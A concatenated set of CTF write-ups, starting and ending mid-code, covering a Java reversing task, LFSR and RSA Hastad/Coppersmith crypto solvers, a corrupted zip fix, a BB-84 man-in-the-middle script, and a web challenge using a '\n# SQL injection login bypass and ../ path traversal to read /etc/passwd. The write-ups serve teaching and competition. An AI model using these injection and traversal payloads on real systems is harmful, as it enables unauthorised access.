"0eba0d68a699907bc3d765072c0735ce"; } try { MessageDigest md = MessageDigest.getInstance("SHA-256"); md.update(c.getBytes()); byte[] d = md.digest(); StringBuilder sb = new StringBuilder(2 * d.length); for (byte b : d) { sb.append(String.format("%02x", new Object[] { Integer.valueOf(b & 0xFF) })); } sb.reverse(); String a = "FIT{" + sb + "}"; System.out.println(a); } catch (Exception e) { e.printStackTrace(); } try { m = new String(j, "US-ASCII"); } catch (Exception e) { String m; e.printStackTrace(); return; } String m; System.out.println(m); }``` On s'aperçoit rapidement que le flag est le sha256("flag") reversé.On écrit ca en python et on obtient le flag : ```pythonimport hashlib k3y = "flag"hash = hashlib.sha256(k3y)hash_dig = hash.hexdigest()print("FIT{" + hash_dig[::-1] + "}")``` FLAG : FIT{78b4c64c4477e3705c221401639fdfaa0286f46658d4d81502b4c7eacbf0d708} # Binary 300 - mYFIT Pour ce dernier challenge, nous avons un programme python compilé.En utilisant *uncompyle2* pour décompiler le code du binaire, on obtient le code source.Ce programme permet aux étudiants et professeurs (admin) myFIT d'accéder aux notes.Une fois connecté sur le serveur, 2 commandes sont disponibles: - Une pour se connecter avec son identifiant - Une autre pour se connecter en tant que professeur (admin) avec nom d'utilisateur et mot de passe En regardant la fonction, process_admin_command(c) on comprend comment les identifiants d'étudiants sont générés:```pythondef process_admin_command(c): if c[0] == 'help': print_admin_help() elif c[0] == 'add': sys.stdout.write('Name of student to add: ') sys.stdout.flush() name = sys.stdin.readline().strip() print 'Enter student\'s grades in the format "Discrete mathematics A", with the class first then the letter grade. End with an empty line.' sys.stdout.flush() usergrades = {} g = True while g: g = sys.stdin.readline().strip().split() usergrades[' '.join(g[:-1])] = g[-1] grades[max(grades.keys()) + 1] = {'name': name, 'Student ID': hashlib.sha256(salt + name).hexdigest(), 'grades': usergrades} write_grades() else: print 'Invalid command. More coming in myFIT.' sys.stdout.flush()``` La variable *Student ID* est le sha256 du nom de l'étudiant précéder d'un salt (**EzA1CVFsmRf8BGubQNrd**).On récupère alors l'identifiant de *Wilhelmina Braunschweig Ingenohl Friedeburg* : ```pythonimport hashlib salt = 'EzA1CVFsmRf8BGubQNrd'login = 'Wilhelmina Braunschweig Ingenohl Friedeburg' h = hashlib.sha256(salt + login)k3y = h.hexdigest()print(k3y)```On se connecte sur le serveur et on entre la commande : **$ login fbf832b18bde7cb48fff1f79e07c8c3cdaaabcc726ca99b6f69ff7801d2b873c** On est alors connecté en tant que *Wilhelmina Braunschweig Ingenohl Friedeburg*, on fait la commande "view" pour voir ses notes et on obtient le flag. Malheuresement, le serveur n'étant plus en ligne je n'ai pas pu récupérer le flag.
# picoCTF 2017 – Connect The Wigle ## Problem Identify the data contained within wigle and determine how to visualize it. Update 16:26 EST 1 Apr If you feel that you are close, make a private piazza post with what you have, and an admin will help out. ### Hints + Perhaps they've been storing data in a database. How do we access the information? + How can we visualize this data? Maybe we just need to take a step back to get the big picture? + Try zero in the first word of the flag, if you think it's an O. + If you think you're super close, make a private piazza post with what you think it is. ## Solution The `wigle` file is a SQLite database. Mathematica can load a SQLite database directly using JDBC. ```mathematicaNeeds["DatabaseLink`"]db = OpenSQLConnection[ JDBC["SQLite", FileNameJoin[{NotebookDirectory[], "wigle"}]]];``` Preview the data. We will be using the `lon` and `lat` columns. ```mathematicaGrid[SQLExecute[db, "SELECT * FROM location LIMIT 15", "ShowColumnHeadings" -> True], Dividers -> {False, {False, True}}]``` ![location table](locationTable.png) Just plot the `lon` and `lat` columns as points. ```mathematicaGraphics@Point@SQLExecute[db, "SELECT lon, lat FROM location"]``` ![flag](flag.png) The flag is easily readable. The flag is: `FLAG{F0UND_M3_3C32EF91}`
# Casino - Crypto - 250 points > Take your chances in our the most honest VolgaCTF Quals Grand Casino!> casino_server.py> casino.quals.2017.volgactf.ru:8788 This is a "guess the number" game which uses a [Linear-feedback shift register](https://en.wikipedia.org/wiki/Linear-feedback_shift_register) as its random number generator. Such random number generators can be attacked/solved with the [Berlekamp-Massey algorithm](https://en.wikipedia.org/wiki/Berlekamp%E2%80%93Massey_algorithm) - if you got got 2N bits of RNG output, where N is the degree of the LFSR polynomial. Since each guess gives us 6 bits and we have 20 wrong guesses before we run out of money, that gives us at least 120 bits to work with. N is randomly pucked by the server at connect - between 24 and 64, so most of the time, we have enough bits to work with. To make things a bit harder for us, the server generates numbers mod 42 - which means that for most numbers, we have two choices for what the original number was. The solution to this is simple - just recursively generate all possible original sequences of bits - worst case 2**20 ~= 1 million different sequences - then use the Berlekamp-Massey algorithm on each of them. To make sure we've found the right sequence, we tweak this slightly - we only use the first 17 guesses, with the remaining guesses used to verify if we found the right RNG. This means that our solver will fail if the server has picked a value for N larger than 51, but the odds are still in our favour. After two runs, the solver found the flag - `VolgaCTF{G@mbling_is_fun_but_rarely_a_pr0f1t}`
# Multicast (misc, 175p) ## ENG[PL](#pl-version) In the task we get a [sage script](generate.sage) which generated the [data](data.txt): ```pythonnbits = 1024e = 5flag = open("flag.txt").read().strip()assert len(flag) <= 64m = Integer(int(flag.encode('hex'),16))out = open("data.txt","w") for i in range(e): while True: p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False) q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False) ni = p*q phi = (p-1)*(q-1) if gcd(phi, e) == 1: break while True: ai = randint(1,ni-1) if gcd(ai, ni) == 1: break bi = randint(1,ni-1) mi = ai*m + bi ci = pow(mi, e, ni) out.write(str(ai)+'\n') out.write(str(bi)+'\n') out.write(str(ci)+'\n') out.write(str(ni)+'\n')``` It is a standard RSA with e=5 and 1024 bits modulus.What is noticable is that we get 5 payloads, and e is 5, so the setup looks very much like for a Hastad Broadcast Attack.Also the name of the task could suggest this. However, unlike for the simple Hastad case, we don't really have the same message sent with different moduli.Such case can be solved very simply using Chinese Reminder Theorem.Here each of the encrypted messages is different, however each has form `ai*m + bi` so a linear polynomial was applied over the message before the encryption. If we look at the generic Hastad description, for example in Durfee PhD Thesis http://theory.stanford.edu/~gdurf/durfee-thesis-phd.pdf (page 25-26) we will find that in fact it is also applicable in out scenario, although the final coputation requires Coppersmith attack. We follow the method described in the linked paper (for details just read the paper) and we get a [solver](solver.sage) with the core part: ```pythondef main(): import codecs with codecs.open("data.txt", "r") as input_file: data = [int(c) for c in input_file.readlines()] a = [data[i * 4] for i in range(5)] b = [data[i * 4+1] for i in range(5)] c = [data[i * 4+2] for i in range(5)] ns = [data[i * 4 + 3] for i in range(5)] t = [] for n in ns: other_moduli = [x for x in ns if x != n] t.append(crt([1,0,0,0,0],[n]+other_moduli)) N = reduce(lambda x,y: x*y, ns) e = 5 P.<x> = PolynomialRing(Zmod(N), implementation='NTL'); pol = 0 for i in range(5): pol += t[i]*((a[i]*x+b[i])^e - c[i]) dd = pol.degree() if not pol.is_monic(): leading = pol.coefficients(sparse=False)[-1] inverse = inverse_mod(int(leading), int(N)) pol *= inverse beta = 1 epsilon = beta / 7 mm = ceil(beta**2 / (dd * epsilon)) tt = floor(dd * mm * ((1/beta) - 1)) XX = ceil(N**((beta**2/dd) - epsilon)) roots = pol.small_roots() for root in roots: print(long_to_bytes(root)) main()``` So we read the data and partition them into the recovered polynomials coefficients and moduli.We use Chinese Reminder Theorem to get values `ti` which for each dataset `i` should give 1 mod `ni` and 0 modulo any other of the moduli.Then we calculate the product of all moduli and create a polynomial ring with this value, because now all calculations will be mod `n1*n2*...`. Finally we create a polynomial suggested by Durfee and we find the roots using Coppersmith method. The extracted root is the message we were looking for: `PCTF{L1ne4r_P4dd1ng_w0nt_s4ve_Y0u_fr0m_H4s7ad!}` ## PL version W zadaniu dostajemy [skrypt sage](generate.sage) który wygenerował [dane](data.txt): ```pythonnbits = 1024e = 5flag = open("flag.txt").read().strip()assert len(flag) <= 64m = Integer(int(flag.encode('hex'),16))out = open("data.txt","w") for i in range(e): while True: p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False) q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False) ni = p*q phi = (p-1)*(q-1) if gcd(phi, e) == 1: break while True: ai = randint(1,ni-1) if gcd(ai, ni) == 1: break bi = randint(1,ni-1) mi = ai*m + bi ci = pow(mi, e, ni) out.write(str(ai)+'\n') out.write(str(bi)+'\n') out.write(str(ci)+'\n') out.write(str(ni)+'\n')``` Mamy tu standardowe RSA e=5 oraz 1024 bitowym modulusem.Możemy zauważyć, że mamy 5 wiadomości oraz e równe 5, co sugeruje konfiguracje podobną do ataku Hastad Broadcast.Dodatkowo sama nazwa zadania także może to sugerować. Jednak, w przeciwieństwie do klasycznego przypadku Hastada, nie mamy tutaj tej samej wiadomości wysłanej z różnymi modulusami.Taki przypadek trywialnie można rozwiązać za pomocą Chińskiego Twierdzenia o Resztach.Tutaj każda wiadomość jest inna, niemniej jednak każda ma postać `ai*m + bi` więc pewien liniowy wielomian został policzony z wiadomości przed szyfrowaniem. Jeśli popatrzymy na ogólny przypadek Hastada, na przykład w pracy doktorskiej pana Durfee http://theory.stanford.edu/~gdurf/durfee-thesis-phd.pdf (strony 25-26) zobaczymy, że w rzeczywistości twierdzenie można wykorzystać także w naszym przypadku, chociaż finalne obliczenia będą wymagać użycia ataku Coppersmitha. Postępujemy zgodnie z metodą opisaną w linkowanej publikacji (po szczegóły i wyjaśnienia odsyłam tam) i dostajemy [solver](solver.sage) z główną częścią: ```pythondef main(): import codecs with codecs.open("data.txt", "r") as input_file: data = [int(c) for c in input_file.readlines()] a = [data[i * 4] for i in range(5)] b = [data[i * 4+1] for i in range(5)] c = [data[i * 4+2] for i in range(5)] ns = [data[i * 4 + 3] for i in range(5)] t = [] for n in ns: other_moduli = [x for x in ns if x != n] t.append(crt([1,0,0,0,0],[n]+other_moduli)) N = reduce(lambda x,y: x*y, ns) e = 5 P.<x> = PolynomialRing(Zmod(N), implementation='NTL'); pol = 0 for i in range(5): pol += t[i]*((a[i]*x+b[i])^e - c[i]) dd = pol.degree() if not pol.is_monic(): leading = pol.coefficients(sparse=False)[-1] inverse = inverse_mod(int(leading), int(N)) pol *= inverse beta = 1 epsilon = beta / 7 mm = ceil(beta**2 / (dd * epsilon)) tt = floor(dd * mm * ((1/beta) - 1)) XX = ceil(N**((beta**2/dd) - epsilon)) roots = pol.small_roots() for root in roots: print(long_to_bytes(root)) main()``` Pobieramy dane i dzielimy je na odpowiednie parametry wielomianów i modulusy.Następnie za pomocą Chińskiego Twierdzenia o Resztach wyliczamy współczynniki `ti` które dla każdego wejścia `i` dają 1 mod `ni` oraz 0 modulo dowolny inny modulus z zestawu.Następnie wyliczamy iloczyn wszystkich modulusów i tworzymy pierścień wielomianowy z tym iloczynem, ponieważ wszystkie obliczenia wykonywane będą teraz modulo `n1*n2*...`. Finalnie tworzymy wielomian zaproponowany przez Durfee i znajdujemy jego pierwiastki metodą Coppersmitha. Znaleziony pierwiastek to szukana flaga: `PCTF{L1ne4r_P4dd1ng_w0nt_s4ve_Y0u_fr0m_H4s7ad!}`
The answer is clearly not the exact answer of e^(1.000000001) - Turns out the question relates to an old bug in the Texas Instruments calculator series (TI-35). Info: http://www.datamath.org/Story/LogarithmBug.htm The answer expected was produced by entering e^(1.000000001) in the TI-35 series, which is 2.7191928
The first thing to check, is to see if the zip file is even corrupted in the first place. `$ unzip zipper.zip` `Archive: zipper.zip` `warning: filename too long--truncating.` `: bad extra field length (central)` From this we can deduce that most likely the filename length is corrupted. The first thing to try is zip with the FF flag to fix our zip. Unfortunately that does not work. Let's take a look at this zip with zipdetails. `$ zipdetails zipper.zip` `0000 LOCAL HEADER #1 04034B50` `0004 Extract Zip Spec 14 '2.0'` `0005 Extract OS 00 'MS-DOS'` `0006 General Purpose Flag 0002` ` [Bits 1-2] 2 'Fast Compression'` `0008 Compression Method 0008 'Deflated'` `000A Last Mod Time 4A9299FC 'Tue Apr 18 19:15:56 2017'` `000E CRC 532EA93E` `0012 Compressed Length 00000046` `0016 Uncompressed Length 000000F6` `001A Filename Length 2329` `001C Extra Length 001C` `Truncated file (got 206, wanted 9001):` It looks like our filename length is set to 9001. To fix this we'll need to open up our zip file in a hex editor and manually change this value. Via the specification we know that the filename length and extra length are both two bytes long. First we need to manually count the length from the start of the filename field to the start of the extra field. When looking at a normal zip archive, I noticed that the filename ends right before the ascii characters for UT. The distance between the start of the filename field and UT is 0x8 long. Now I manually set the filename length to 0x0800, note that it is not 0x0008 due to the endien required. The filename is currently garbage so I replaced all 8 bytes of it with the letter a. Upon saving this file and trying the same process as before, I get the same error except it is with a different section of the zip file. After repeating the same steps as before, zipdetails appears to be broken. The unzip utility now is reporting a bad offset. `$ zipdetails zipper.zip` `0000 PREFIX DATA` `Done` `$ unzip zipper.zip` `Archive: zipper.zip` `file #1: bad zipfile offset (lseek): 1633771520` Since we resolved the issues with the filenames, I decided that it was time to give zip -FF another go. Unlike before, zip actually was able to repair enough of the archive to be able to extract the key.
# Baby Sqli - web > Come on Baby!>> http://baby.bctf.xctf.org.cn/ # Kitty Shop - web > Kitty shop or flag shop>> http://baby.bctf.xctf.org.cn/ This challenge had multiple flags on a single website. It actually contained 3flags, but no one managed to solve the reverse engineering "Flag Shop" challenge. The first problem was bypassing the login screen. Almost everything useful forSQL injection was filtered by a [Web Application Firewall](https://en.wikipedia.org/wiki/Web_application_firewall) - the username field allowed newlines which could then be used instead of spacesand tab characters, which were blocked, but any attempt at more complex SQLstatements were met with failure. Eventually I stumbled upon the extremelysimple `'\n#` input, which allowed me to login. Here, I was greeted with a shopwhere I could buy some things, but no flag in sight. Also there was a ReCaptchafor every purchase you wanted to make, so scripting was out of the question. There was also a weird "manual" link that used the script `load.php` - thisscript had a local file injection vulnerability, and I was able to list`../../../../../../../../../../etc/passwd` - but still no flag to be found.This LFE also seemed to block any file name with `php` in it, so I was unableto get the source of the web app. Eventually I stumbled upon the `.viminfo` file, which further pointed to thefile `app/encrypt0p@ssword/password`. After some more guessing I found thataccessing `../encrypt0p@ssword/password` worked, and got a file that containeda link to a server side binary and the password `c1i3nt_B@ckup`. Finally,inside the binary was the flag for "Baby SQLI" - turns out you were supposedto modify the purchase request and purchase item "D" on the website to get theflag. The second flag was even more elusive. The binary seemed to connect to anotherserver at port 8080 then did some crypto stuff/signature verification when youpicked option "B", but running it just gave an error - the same error you gotif you tried option "B" directly on the website. The actual server address itconnected to was encrypted with simple XOR - I decrypted it and got the address`http://202.112.51.232:8888/pcap` . Visiting this site allowed me to downloadwhat seemed to be a full packed capture of all service traffic at port 8080,but this didn't bring me any closer to the second flag. Finally, on a hunch, I fired up tcpdump and looked at the raw TCP traffic beingexchanged when I ran the binary, and there it was - the second flag, in plaintext. Seems like it was just the signature that was intentionally broken.
# Logarithms are hard (misc, 10p) ## ENG[PL](#pl-version) ```What is e^(1.000000001)?Please enter in decimal with 7 places.(For example, if the answer was 2.71828183... the flag would be 2.7182818 )``` As in previous editions of Plaid CTF we have a misc task regarding some bug in numerical computation.This time it is calculation is exponent function.Quick googling gets us to: http://www.datamath.org/Story/LogarithmBug.htm which says that some calculators would get the result wrong and instead of `2.7182818` give `2.7191928`.We submit the latter as a flag and get 10 points. ## PL version ```What is e^(1.000000001)?Please enter in decimal with 7 places.(For example, if the answer was 2.71828183... the flag would be 2.7182818 )``` Tak jak w poprzednich edycjach Plajd CTF mamy zadanie związane z błędami w obliczeniach numerycznych.W tym przypadku chodzi o eksponente.Szybkie googlowanie pozwala nam trafić na http://www.datamath.org/Story/LogarithmBug.htm gdzie możemy wyczytać, że niektóre kalkulatory zamiast `2.7182818` dawały wynik `2.7191928`.Wysyłamy niepoprawną wartość jako flagę i dostajemy 10p.
# BB-8 (crypto, 200p) ## ENG[PL](#pl-version) In the task we get a [source code](server.py) of service we can connect to.We also get a lengthly [description](README.txt) of the protocol we are working with. It is basically a standard BB-84 Quantum Key Distribution protocol.The service we can connect to is a Man-in-the-middle infrastructure placed between Alice and Bob. We know that Alice will sent Bob 600 qbits with 2 possible bases each, then Alice will confirm which bases Bob guessed right (statistically about half), then Bob will send to Alice half of the correct values he got, to make sure no-one modified the data on the way.Finally from the remaining correct bit values Bob and Alice will take 128 and create AES-ECB-128 key and exchange encrypoted messages. What we will do here is basically spoofing the entire communication, so that Alice and Bob in reality agree on the key with us, and not with the expected recipient. This is trivial to do, since we can simply follow the protocol with both of them independently.It will, however, not give us the whole flag!This is because in the end there is the verification phase when parties exchange half of the correct values, and if we agreed on different number with Alice and with Bob then sadly we will have at some point to send wrong message to one of them (since we have to send one message to Alice and one message to Bob each time), which will trigger closing the channel. So what we really want to do is to make sure we agree on the same number of correct values with both parties, using some heurustic and a bit of luck. The whole idea is: 1. We collect values sent by Alice, for simplicity we always try base Z.2. We send to Bob only values 1 all encoded in base Z, for simplicity :)3. During the verification phase we verify how many bits we got right from Alice, by sending her always base Z and checking if she responded with -1 or 14. During verification phase we verify how many bits Bob got right, by checking if he tried base Z (we always encoded our 1 in Z when sending to him)5. We introduce small heuristic to lie to Bob if he is getting too many good guesses, to lower his score. We could also lie the other way, as long as we make sure we're doing this on even bits, since only odd bits will be used as AES key, but this was not necessary.6. Now we have set of qbit values agreed with Alice and we confirmed Bob with all the 1s he got right. Hopefully at this point the both counters are equal. It requires a bit of luck so we simply run this multiple times.7. Next phase is trivial, we simply send to Alice half of the qbits we got right and we send ACK to Bob every time.8. Now we agreed to have AES key with Bob which contains only 1s and we agreed with Alice on the key from the leftover qbits.9. If the counters were equal both parties will now transmit their part of the flag. If the counters are not equal we will get only half of the flag and we will have to run again to get the other half!10. We simply decode the results! ```pythonimport refrom crypto_commons.netcat.netcat_commons import nc, receive_until, send, receive_until_match, interactive def select_agreed_values(qbits_from_alice, correct_base_guesses_from_alice): return [qbits_from_alice[i] for i in range(600) if correct_base_guesses_from_alice[i] == 1] def main(): url = 'bb8.chal.pwning.xxx' port = 20811 s = nc(url, port) print(receive_until(s, "...")) qbits_from_alice = [] print('spoofing initial communication') for i in range(1199): # 600 qbits from Alice to Bob and 599 ACK from Bob to Alice c = receive_until(s, "?") print(i, c) if "Bob" in c: send(s, "y") # intercept qbit to bob send(s, "Z") # measure in Z send(s, "Y") # replace send(s, "Z") # Z axis send(s, "1") # always send value 1 data = receive_until_match(s, "value 1", 10.0) qbits_from_alice.append(int(re.findall("measured (-?\d+)", data)[0])) else: send(s, "N") # don't touch ACKs print("alice qbits we got", qbits_from_alice) bases_from_bob = [] correct_base_guesses_from_alice = [] bob_correct = 0 alice_correct = 0 for i in range(1200): # 600 qbit base guesses from Bob to Alice and 600 answers from Alice to Bob c = receive_until(s, "?") print(i, c) if "Alice" in c: # intercept qbit base guess to Alice send(s, "y") send(s, "Z") # measure in Z send(s, "Y") # replace send(s, "Z") # Z axis send(s, "-1") # value -1 indicating Z base, we guess only Z base data = receive_until_match(s, "value -1", 10.0) bases_from_bob.append(int(re.findall("measured (-?\d+)", data)[0])) else: # intercept alice answer send(s, "y") send(s, "Z") # measure in Z data = receive_until_match(s, "measured (-?\d+)", 10.0) alice_answer = int(re.findall("measured (-?\d+)", data)[0]) correct_base_guesses_from_alice.append(alice_answer) if alice_answer == 1: alice_correct += 1 send(s, "Y") # replace send(s, "Z") # Z axis if bases_from_bob[-1] == -1: # bob guessed Z axis if i > 1150 and alice_correct > bob_correct: # slow down bob to get similar result len send(s, "-1") else: bob_correct += 1 send(s, "1") else: send(s, "-1") # bob tried Y axis data = receive_until_match(s, "value -?\d+", 10.0) print("bases from bob", bases_from_bob) print("correct base guesses from alice", correct_base_guesses_from_alice) agreed_qbit_values = select_agreed_values(qbits_from_alice, correct_base_guesses_from_alice) print("agreed qbit values", len(agreed_qbit_values), agreed_qbit_values) # qbit values where we correctly guessed the base print("bob was correct", bob_correct) print("we were correct with alice", alice_correct) alice_key = [agreed_qbit_values[i * 2 + 1] for i in range(128)] bob_key = [1 for _i in range(128)] # we sent only 1 to bob, so all he got right must be 1s print('alice key', alice_key) print('bob key', bob_key) for i in range(max(bob_correct, alice_correct)): c = receive_until(s, "?") print(i, c) if "aborted" in c: interactive(s) elif "Alice" in c: send(s, "y") # intercept Bob verification qbit send(s, "Z") # measure in Z send(s, "Y") # replace send(s, "Z") # Z axis new_value = str(agreed_qbit_values[i]) send(s, new_value) # replace with value we got correct from Alice data = receive_until_match(s, "value " + new_value, 10.0) else: send(s, "N") # pass ACK along c = receive_until(s, "?") print(c) interactive(s) main()``` This code gets us AES messages from both sides which we decode: ```pythondef decode_flag(): ct = '80dc59ce81e30bcd02198059b556731597ce5cf597481229ac9b2d523516c83e0f65896ce3b51cc2eb5b120adca55ed8'.decode( "hex") cipher = AES.new("\xff" * 16, AES.MODE_ECB) pt1 = cipher.decrypt(ct) ct2 = "34c7bb71814ff4f06e0d586e6f419364faf33270afed759e2593b36ac5b430f1".decode("hex") agreed_qbits = [1, -1, 1, 1, -1, -1, -1, 1, 1, -1, 1, 1, 1, 1, 1, -1, -1, -1, 1, 1, -1, 1, -1, 1, -1, -1, -1, 1, 1, -1, -1, -1, -1, 1, 1, -1, 1, -1, -1, -1, 1, -1, -1, 1, -1, 1, 1, 1, -1, 1, 1, -1, -1, 1, 1, -1, -1, -1, 1, 1, 1, -1, 1, -1, 1, -1, -1, 1, -1, 1, -1, 1, 1, 1, -1, -1, 1, -1, 1, -1, -1, 1, 1, -1, 1, 1, -1, 1, 1, 1, 1, 1, -1, 1, -1, 1, -1, -1, 1, -1, -1, -1, -1, -1, 1, -1, -1, 1, 1, -1, 1, -1, 1, 1, -1, 1, -1, -1, -1, -1, 1, -1, 1, -1, 1, -1, 1, 1, -1, -1, -1, 1, 1, 1, 1, -1, 1, -1, 1, -1, -1, -1, -1, 1, -1, -1, -1, -1, 1, -1, 1, -1, -1, 1, 1, -1, 1, -1, -1, 1, -1, -1, -1, -1, 1, -1, 1, -1, 1, 1, 1, 1, 1, -1, 1, 1, -1, 1, 1, 1, 1, 1, -1, 1, -1, -1, 1, -1, -1, 1, -1, 1, -1, 1, -1, 1, -1, 1, 1, -1, 1, 1, 1, 1, -1, -1, -1, 1, -1, -1, -1, 1, -1, 1, -1, 1, -1, -1, 1, -1, -1, -1, -1, 1, 1, 1, -1, 1, 1, -1, -1, 1, -1, 1, 1, -1, -1, -1, 1, -1, 1, 1, 1, -1, -1, -1, -1, -1, -1, 1, 1, -1, -1, 1, 1, 1, -1, -1, 1, 1, -1, -1, -1, -1, -1, 1, -1, -1, -1, -1, -1, -1, -1, 1, 1, -1, -1, 1, 1, 1, 1, -1, -1, 1, 1, 1, -1, -1, -1, 1, -1, -1, -1, -1, 1] key_qbits = [agreed_qbits[i * 2 + 1] for i in range(128)] key_bitstring = "".join(['1' if c == 1 else '0' for c in key_qbits]) print(key_bitstring) key = int(key_bitstring, 2) k = long_to_bytes(key) cipher = AES.new(k, AES.MODE_ECB) pt2 = cipher.decrypt(ct2) print(pt2.strip()+pt1.strip())``` And we have a flag: `PCTF{perhaps_secrecy_aint_the_same_thing_as_authentication}` ## PL version W zadaniu dostajemy [kod](server.py) serwisu do którego możemy się połączyć.Dostajemy też długi [opis](README.txt) protokołu z którym pracujemy. To jest standardowy protokół BB-84 Kwantowej Wymiany Klucza.Serwis z którym się komunikujemy pozwala na atak Man-in-the-middle pomiędzy Alice i Bobem. Wiemy że Alice wyśle do Boba 600 qbitów, każdy w jednej z 2 baz, następnie Alice potwierdzi Bobowi które bazy zgadł poprawnie (statystycznie połowę), następnie Bob wyśle do Alice połowę poprawnych wartości które uzyskał, żeby upewnić się że nikt nie zmienił danych po drodze.Na koniec z pozostałych poprawnych wartości Bob i Alice wezmą 128 bitów i utworzą z nich wspólny klucz AES-ECB-128 którym zaszyfrują swoje wiadomości. My zamierzamy spoofować całą komunikacje, tak że w rzeczywistości Alice i Bob zgodzą się na klucze z nami a nie ze sobą nawzajem. To generalnie jest trywialne, bo możemy po prostu postępować zgodnie z protokołem dla każdego z nich z osobna.To niestety nie da nam całej flagi!Jest tak, ponieważ na końcu jest faza weryfikacji kiedy Bob wysyła połowę poprawnych wartości do Alice i jeśli uzgodnimy znimi różną liczbę poprawnych wartości to w pewnej chwili będziemy musieli do jednej ze stron wysłać nieoczekiwaną wartość (ponieważ możemy wysyłać jedynie qbity raz do Alice i raz do Boba), a to spowoduje zerwanie połączenia przez jedną ze stron. Chcemy więc mieć pewność że uzgodnimy taką samą liczbę poprawnych wartości z obiema stronami, stosując trochę heurystyk i szczęścia. Idea jest taka: 1. Pobieramy wartości od Alice, dla ułatwienia zawsze próbujemy bazę Z.2. Wysyłamy do Boba same 1 w bazie Z, dla ułatwienia :)3. Podczas weryfikacji uzgadniamy ile bitów od Alice wyznaczyliśmy poprawnie, wysyłając jej zawsze bazę Z i sprawdzając czy odpowiedziała -1 czy 14. Podczas weryfikacji sprawdzamy ile bitów Bob dobrze odkodował, testujac czy użył bazy Z (zawsze wysyłaliśmy mu 1 w bazie Z).5. Wprowadzamy heurystykę, żeby kłamać Bobowi jeśli idzie mu za dobrze, żeby obniżyć jego wynik. Możemy kłamać też w drugą stronę, ale musimy uważać żeby robić to tylko dla parzystych bitów, bo te nie trafią potem do klucza AES, ale nie było to finalnie konieczne.6. Teraz mamy listę qbitów od Alice które odczytaliśmy dobrze i wiemy też ile 1 Bob odczytał dobrze. Miejmy nadzieje że obie wartości są sobie równe. Wymaga to trochę szczęścia więc uruchomiliśmy solver kilka razy dla pewności.7. Następna faza jest trywialna, po prostu wysyłamy do Alice połowę qbitów które dobrze od niej odczytaliśmy a do Boba wysyłamy ACK za każdym razem.8. Teraz uzgodniliśmy z Bobe klucz złożony z samych 1 a z Alice ten z pozostałych bitów.9. Jeśli liczniki były równe to teraz Bob i Alice wymienią się wiadomościami szyfrowanymi AESem. Jeśli liczniki nie były równe to dostaniemy tylko połowę flagi, bo jedna ze stron zerwie połączenie i będziemy musieli uruchomić to jeszcze raz.10. Na koniec deszyfrujemy AESa!. ```pythonimport refrom crypto_commons.netcat.netcat_commons import nc, receive_until, send, receive_until_match, interactive def select_agreed_values(qbits_from_alice, correct_base_guesses_from_alice): return [qbits_from_alice[i] for i in range(600) if correct_base_guesses_from_alice[i] == 1] def main(): url = 'bb8.chal.pwning.xxx' port = 20811 s = nc(url, port) print(receive_until(s, "...")) qbits_from_alice = [] print('spoofing initial communication') for i in range(1199): # 600 qbits from Alice to Bob and 599 ACK from Bob to Alice c = receive_until(s, "?") print(i, c) if "Bob" in c: send(s, "y") # intercept qbit to bob send(s, "Z") # measure in Z send(s, "Y") # replace send(s, "Z") # Z axis send(s, "1") # always send value 1 data = receive_until_match(s, "value 1", 10.0) qbits_from_alice.append(int(re.findall("measured (-?\d+)", data)[0])) else: send(s, "N") # don't touch ACKs print("alice qbits we got", qbits_from_alice) bases_from_bob = [] correct_base_guesses_from_alice = [] bob_correct = 0 alice_correct = 0 for i in range(1200): # 600 qbit base guesses from Bob to Alice and 600 answers from Alice to Bob c = receive_until(s, "?") print(i, c) if "Alice" in c: # intercept qbit base guess to Alice send(s, "y") send(s, "Z") # measure in Z send(s, "Y") # replace send(s, "Z") # Z axis send(s, "-1") # value -1 indicating Z base, we guess only Z base data = receive_until_match(s, "value -1", 10.0) bases_from_bob.append(int(re.findall("measured (-?\d+)", data)[0])) else: # intercept alice answer send(s, "y") send(s, "Z") # measure in Z data = receive_until_match(s, "measured (-?\d+)", 10.0) alice_answer = int(re.findall("measured (-?\d+)", data)[0]) correct_base_guesses_from_alice.append(alice_answer) if alice_answer == 1: alice_correct += 1 send(s, "Y") # replace send(s, "Z") # Z axis if bases_from_bob[-1] == -1: # bob guessed Z axis if i > 1150 and alice_correct > bob_correct: # slow down bob to get similar result len send(s, "-1") else: bob_correct += 1 send(s, "1") else: send(s, "-1") # bob tried Y axis data = receive_until_match(s, "value -?\d+", 10.0) print("bases from bob", bases_from_bob) print("correct base guesses from alice", correct_base_guesses_from_alice) agreed_qbit_values = select_agreed_values(qbits_from_alice, correct_base_guesses_from_alice) print("agreed qbit values", len(agreed_qbit_values), agreed_qbit_values) # qbit values where we correctly guessed the base print("bob was correct", bob_correct) print("we were correct with alice", alice_correct) alice_key = [agreed_qbit_values[i * 2 + 1] for i in range(128)] bob_key = [1 for _i in range(128)] # we sent only 1 to bob, so all he got right must be 1s print('alice key', alice_key) print('bob key', bob_key) for i in range(max(bob_correct, alice_correct)): c = receive_until(s, "?") print(i, c) if "aborted" in c: interactive(s) elif "Alice" in c: send(s, "y") # intercept Bob verification qbit send(s, "Z") # measure in Z send(s, "Y") # replace send(s, "Z") # Z axis new_value = str(agreed_qbit_values[i]) send(s, new_value) # replace with value we got correct from Alice data = receive_until_match(s, "value " + new_value, 10.0) else: send(s, "N") # pass ACK along c = receive_until(s, "?") print(c) interactive(s) main()``` To daje nam wiadomości szyfrowanego AESem oraz klucze: ```pythondef decode_flag(): ct = '80dc59ce81e30bcd02198059b556731597ce5cf597481229ac9b2d523516c83e0f65896ce3b51cc2eb5b120adca55ed8'.decode( "hex") cipher = AES.new("\xff" * 16, AES.MODE_ECB) pt1 = cipher.decrypt(ct) ct2 = "34c7bb71814ff4f06e0d586e6f419364faf33270afed759e2593b36ac5b430f1".decode("hex") agreed_qbits = [1, -1, 1, 1, -1, -1, -1, 1, 1, -1, 1, 1, 1, 1, 1, -1, -1, -1, 1, 1, -1, 1, -1, 1, -1, -1, -1, 1, 1, -1, -1, -1, -1, 1, 1, -1, 1, -1, -1, -1, 1, -1, -1, 1, -1, 1, 1, 1, -1, 1, 1, -1, -1, 1, 1, -1, -1, -1, 1, 1, 1, -1, 1, -1, 1, -1, -1, 1, -1, 1, -1, 1, 1, 1, -1, -1, 1, -1, 1, -1, -1, 1, 1, -1, 1, 1, -1, 1, 1, 1, 1, 1, -1, 